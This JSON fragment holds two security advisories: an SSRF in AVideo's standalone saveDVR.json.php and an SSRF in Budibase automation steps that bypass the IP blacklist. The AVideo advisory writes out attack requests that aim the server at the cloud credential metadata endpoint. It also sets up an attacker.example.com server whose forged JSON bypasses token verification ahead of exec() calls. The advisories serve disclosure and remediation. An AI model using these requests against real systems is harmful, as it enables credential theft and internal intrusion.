  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n   //     $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die(\u0027saveDVR: Server not configured\u0027);\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n       $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die(\u0027saveDVR: Invalid URL\u0027);\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",

  "details": "## Summary\n\nBudibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using `node-fetch` directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when `BLACKLIST_IPS` is not configured.\n\n## Vulnerable Code\n\n### Automation Steps (No Blacklist)\n\nAll automation steps use `fetch()` directly without any IP validation:\n\n**`packages/server/src/automations/steps/outgoingWebhook.ts` line 69:**\n```typescript\nconst response = await fetch(url, request)  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/zapier.ts` line 34:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/n8n.ts` line 53:**\n```typescript\nresponse = await fetch(url, request)  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/slack.ts` line 20:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n**`packages/server/src/automations/steps/discord.ts` line 29:**\n```typescript\nresponse = await fetch(url, {method: \"post\", ...})  // No blacklist check\n```\n\n### REST API Integration (Empty Default Blacklist)\n\n**`packages/server/src/integrations/rest.ts` line 684:**\n```typescript\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"Cannot connect to URL.\")\n}\n```\n\nBut `BLACKLIST_IPS` env var defaults to undefined, so the blacklist is empty:\n\n**`packages/backend-core/src/blacklist/blacklist.ts` lines 39-45:**\n```typescript\nif (blackListArray?.length === 0) {\n  return false  // Always passes when no IPs configured\n}\n```\n\n## Impact\n\n- **Automation steps**: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module\n- **REST API**: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection.\n- **Cloud metadata**: `http://169.254.169.254/latest/meta-data/` accessible via any automation step\n- **Internal services**: Access databases, admin panels, Kubernetes API on private IPs\n\n## Remediation\n\n1. Apply blacklist checks to ALL outbound HTTP requests, including automation steps\n2. Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)\n3. Use a centralized HTTP client wrapper instead of direct `fetch()` calls\n4. SSRF protection should be on by default, not opt-in via environment variable",
